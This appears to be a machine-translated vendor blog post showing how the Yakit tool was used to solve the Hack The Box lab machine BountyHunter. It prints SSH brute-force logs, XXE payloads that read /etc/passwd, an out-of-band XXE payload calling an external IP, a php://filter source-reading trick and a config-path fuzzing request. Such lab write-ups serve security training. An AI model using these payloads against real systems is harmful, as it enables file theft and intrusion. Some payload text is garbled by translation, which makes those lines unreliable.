Yakit & HTB: BountyHunter from battlefield live to weaponized

An official Yakit practical case

0x00 Background

When we talk about individual soldier equipment, we usually talk about “What functions do we have?”, but how to ensure that our functions are really effective? Or how to self-update and iterate, update better plug-ins, and have better practical functions?

Although some users will selflessly give us some positive feedback, for the R&D team, this is not enough. We need more first-hand fresh actual combat training battlefields. At the same time, some actual cases are not suitable for display in these parts.

To this end, we choose a series of battlefields in HTB and use Yakit to implement testing and penetration of various shooting ranges, so as to understand what our products should do “in the offensive and defensive fields”?

0x01 HTB-BountyHunter

We choose a shooting range that looks relatively close to actual combat: HTB BountyHunter

0x02 Start: Determine the attack path

After a rough observation, we can most directly scan the port in Yakit and open the plug-in and run it:

After a preliminary look, port 22 blasting and port 80 normal Web should be the two entrances. I took a brief look at the blasting port.

"SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.2\r\
"
[FAIL]: redis:\-:[email protected]:6379
[FAIL]: mongodb:\admin:[email protected]
[WARN] 2022-04-21 17:37:58 + 0800 [default:ssh.go:86] dial ssh://10.129.95.166:22 failed: ssh: handshake failed: ssh: unable to authenticate, attempted methods [ none password], no supported methods remain
[FAIL]: ssh:\root:[email protected]:22
[WARN] 2022-04-21 17:38:05 + 0800 [default:ssh.go:86] dial ssh://10.129.95.166:22 failed: ssh: handshake failed: ssh: unable to authenticate, attempted methods [ none password], no supported methods remain
[FAIL]: ssh:\test:[email protected]
[WARN] 2022-04-21 17:38:11 + 0800 [default:ssh.go:86] dial ssh://10.129.95.166:22 failed: ssh: handshake failed: ssh: unable to authenticate, attempted methods [ none password], no supported methods remain
[FAIL]: ssh:\oracle:[email protected]

Generally, it is impossible to blast in in this situation. The entrance should still be on the Web, so we used MITM to hijack some browser requests, captured the packets and looked at the history records. After a preliminary look, we recorded the operation process as follows. :

00:54

After we have roughly discovered the parameters that can be tested, we can try to manually test the package:

  1. We found that the parameters of this data packet are the result of base64 encoding, and the actual decoding is an xml
  2. This request can be replayed

0x03 XXE Vulnerability Check

When we saw that the parameter was XML, we immediately realized that this should be an XXE vulnerability. So in fact, very simply, we should write a script that can be used for testing:

To this end, we use poc.HTTP to quickly write detection, sending and testing of a data packet. In fact, it is equivalent to a programmable and automated Web Fuzzer. The actual code does not exceed ten lines. Copy the Payload and change it to achieve our goal. Testing purposes.

Using the above script, we can modify the plaintext XML and write some regular or Glob rules to check whether the results contain sensitive content.

Of course, we should try to use some simple methods to verify whether the vulnerability exists. For example, the common XXE echo payload is as follows. We can select some to automatically verify:

# Suitable for situations where the foo tag can be echoed
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo> & amp;xxe;</foo>
 
# Inject any entity in an XML entity, because we have found that user input will be echoed
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
        <bugreport>
        <title>123</title>
        <cwe> &xxe; </cwe>
        <cvss>123</cvss>
        <reward>123</reward>
        </bugreport>

We tried the above two methods and found that due to echo problems, only the second method can take effect. Then we can successfully exploit the XXE vulnerability:

0x03.1 Extension: No text echo

Via our last tweet “Are there any alternatives to DNSLog? 》We know that as long as the target can be added to the remote target (satisfying the TCP protocol), the anti-connection detection of TCP pass-through can be used to achieve detection;

So in fact, our XXE general payload structure is very simple, so we no longer need to care about what content in the specific fields needs to be displayed and echoed.

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
      <!ELEMENT abc ANY>
      <!ENTITY xxe SYSTEM "http://124.223.202.90:63783/">
    ]>
    <abc> & amp;xxe;</abc>

0x04 XXE + PHP Hack

We read /etc/passwd and found that the www-data user actually exists, indicating that the server address may not have been changed from the default, so trying /var/www/html/index.php is a normal operation.

  1. When reading files, the file:// protocol has restrictions.
  2. Since the website is developed through php, we subconsciously think that php xml SYSTEM should support the PHP pseudo-protocol, so we can include it first through php://filter/read=covert.base64-encode/resource=log_submit.php

Note that log_submit.php is a PHP file we know, which is the form address

There are actually not many configuration files that can be scanned/exploded in batches. Before we use Web Fuzzer to explode the directory, we use Codec to generate a dictionary to see if our rules are correct.

So we can use {{list(db|database|config)}}… to generate a combination of path files, and then send out packages in batches for testing. The test results are as follows

GET /{<!-- -->{list(db|database|config|config/db|config/database|config/config)}}.{<!-- -->{list(php| inc)}} HTTP/1.1
Host: 10.129.95.166
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 221
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36

Of course, we use db.php as the configuration file to read

0x04.1 Found some clues from the source code

In fact, this website does not have a database. Originally, it was impossible to find a way to escalate the rights of the database. By chance, the password was cracked and the results were revealed immediately.

0x04.2 Password Explosion

There is really nothing you can do, just run around, open blasting, and run through the usernames and passwords you just got in /etc/passwd that you think can be used. But I was lucky. After running a few groups, I got the password.

0x05 Yakit performance review

This is a very Easy shooting range. It is very simple both in terms of ideas and difficulty of use. During the test at this shooting range, we actually did not use other tools to assist the test. We only used the functions provided by Yakit itself. Writing a small script completes the entire simple process:

But in fact, it is not that there is no room for improvement:

0x05.1 Enhancement and advanced usage of Web Fuzzer

In fact, the script we wrote is not particularly complicated, it is just a change of the payload + testing: Can the fuzz tag support more complex payload encoding logic, so that the process can be completed with just Web Fuzzer without opening Yak Runner?

In fact, it stands to reason that {{url({{base64()}}) is the most ideal, but due to fuzz, it is temporarily impossible Supports coding nesting. The alternative available now is to write a codec plug-in yourself to implement this function.

But in fact, in the Web Fuzzer interface, you have to switch to another Tab and then write a plug-in… Well…, the ease of use will be greatly reduced.

How to solve this problem? The most ideal thing is actually similar to the MITM “hot reloading” mode, which hot loads the codec code and allows the traffic to automatically call our custom function through the fuzz tag.

I am convinced that this is the next reliable evolution direction of Web Fuzzer

0x05.2 Port scanning plug-in inspiration

In fact, before we click on the page to hijack the web content, we can see that the port scanning plug-in has recognized this form. However, because the form is not a standard submit process and is spliced with a back-end interface for XML submission through JS, the plug-in cannot recognize the parameters and automatically supplement the content of the form.

Yak official resources

Yak language official tutorial:
https://yaklang.com/docs/intro/
Yakit video tutorial:
https://space.bilibili.com/437503777
Github download address:
https://github.com/yaklang/yakit
Yakit official website download address:
https://yaklang.com/
Yakit installation documentation:
https://yaklang.com/products/download_and_install
Yakit usage documentation:
https://yaklang.com/products/intro/
Quick FAQ:
https://yaklang.com/products/FAQ